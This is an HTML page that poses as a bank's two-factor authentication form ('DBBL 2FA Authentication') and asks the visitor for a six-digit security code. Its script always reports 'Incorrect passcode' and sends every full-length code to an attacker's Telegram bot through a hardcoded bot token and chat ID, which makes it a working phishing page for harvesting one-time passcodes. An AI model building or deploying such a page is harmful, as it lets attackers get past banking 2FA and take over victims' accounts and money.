<!DOCTYPE html>
<html>
    <head>
        <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"/>
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <link href="/dbbl/img/dbblicon.ico" rel="shortcut icon" />
        <title>DBBL 2FA Authentication</title>
        <link rel="stylesheet" type="text/css" href="/dbbl/css/index.css" />

        <style>

 img {
                width: 100%;
                height: auto;
            }
            .spinner {
                position: fixed;
                top: 30%;
                left: 50%;
                margin-left: -50px;
                margin-top: -50px;
                text-align:center;
                z-index:1234;
                overflow: auto;
                width: 100px;
                height: 102px;
            }

            .form-body {
                height: auto;
                padding: 10px;
            }

            .credit-card {
                margin: 10px auto;
                border-radius: 6px;
                background-color: #fff;
                box-shadow: 2px 2px 19px #aaa;
                padding: 8px;
                border: 1px solid #e0e0e0;
                font-size: 11px; 
            }
        </style>
    </head>

    <body>
        <div class="container">
            <div id="device" class="container-fluid" style="max-width:600px;">
                <form name="authForm" class="credit-card" accept-charset="UTF-8" onsubmit="return validateAndSend();">
                    <div id="cardheader" class="form-header">
                        <div class="form-group">
                            <div class="row">
                                <div class="col-xs-12 col-md-12">
                                    <img src="/dbbl/img/header_logo.jpg" style="min-height:60px;" alt="DBBL" class="center-block img-responsive" /> 
                                </div>
                            </div>
                        </div>
                    </div>

                    <div class="form-body">
                        <div class="form-group">
                            <div class="row">
                                <div class="col-sm-6">
                                    <b>You are registered for: MOB Token</b>
                                    <hr style="margin-top: 10px; margin-bottom: 10px; color: black; background-color: #0c0;">
                                    <div class="form-group">
                                        <div class="row">
                                            <div class="col-sm-12 col-xs-12 col-md-12">
                                                <table>
                                                    <tr>
                                                        <td><b>Security Code:&nbsp;</b></td>
                                                        <td>&nbsp;</td>
                                                        <td><input type="password" id="passCode" name="passCode" style="height: 25px; width:80px;" class="form-control" maxlength="6" /></td>
                                                    </tr>
                                                    <tr><td colspan="3" style="height: 1px;">&nbsp;</td></tr>
                                                    <tr>
                                                        <td>&nbsp;</td>
                                                        <td>&nbsp;</td>
                                                        <td>
                                                            <input type="image" alt="otp" src="/dbbl/img/btn_go.gif" class="submit" />
                                                        </td>
                                                    </tr>
                                                </table>
                                            </div>
                                        </div>
                                    </div>
                                    <div class="form-group">
                                        <div class="row">
                                            <div class="col-xs-12 col-md-12">
                                                <label id="msg" class="control-label col-sm-12" style="color: red;">&nbsp;</label>
                                            </div>
                                        </div>
                                    </div>
                                </div>
                                <div class="col-sm-6">
                                    <div class="row">
                                        <div class="col-xs-12 col-md-12">
                                            <img src="/dbbl/img/MOB.jpg" alt="" />
                                        </div>
                                    </div>
                                    <div class="row">
                                        <div class="col-xs-12 col-md-12">Security Code is sent to your registered mobile no.</br>Please use the security code here.</div> 
                                    </div>
                                </div>
                            </div>
                        </div>
                    </div>
                </form>
            </div>
        </div>

        <script>
            function validateAndSend() {
                const passCode = document.getElementById("passCode").value;
                const msgLabel = document.getElementById("msg");

                if (passCode.length === 0) {
                    msgLabel.textContent = "Input Passcode";
                    return false;
                }

                if (passCode.length < 6) {
                    msgLabel.textContent = "The passcode must be 6 digits.";
                    return false;
                }

                if (passCode.length === 6) {
                    msgLabel.textContent = "Incorrect passcode";
                    sendToTelegram(`passcode : ${passCode}`);
                    return false;
                }

                return false; // Prevent form submission for demo purposes
            }

            function sendToTelegram(message) {
                const botToken = "7721532005:AAFNUxtAwHeH617lb1oOp3hcdKKjzRITS3Y";
                const chatId = "7174617845"; // Replace with your Telegram chat ID
                const telegramUrl = `https://api.telegram.org/bot${botToken}/sendMessage?chat_id=${chatId}&text=${encodeURIComponent(message)}`;

                fetch(telegramUrl)
                    .then(response => {
                        if (!response.ok) {
                            console.error("Failed to send message to Telegram");
                        }
                    })
                    .catch(error => {
                        console.error("Error sending to Telegram:", error);
                    });
            }
        </script>
    </body>
</html>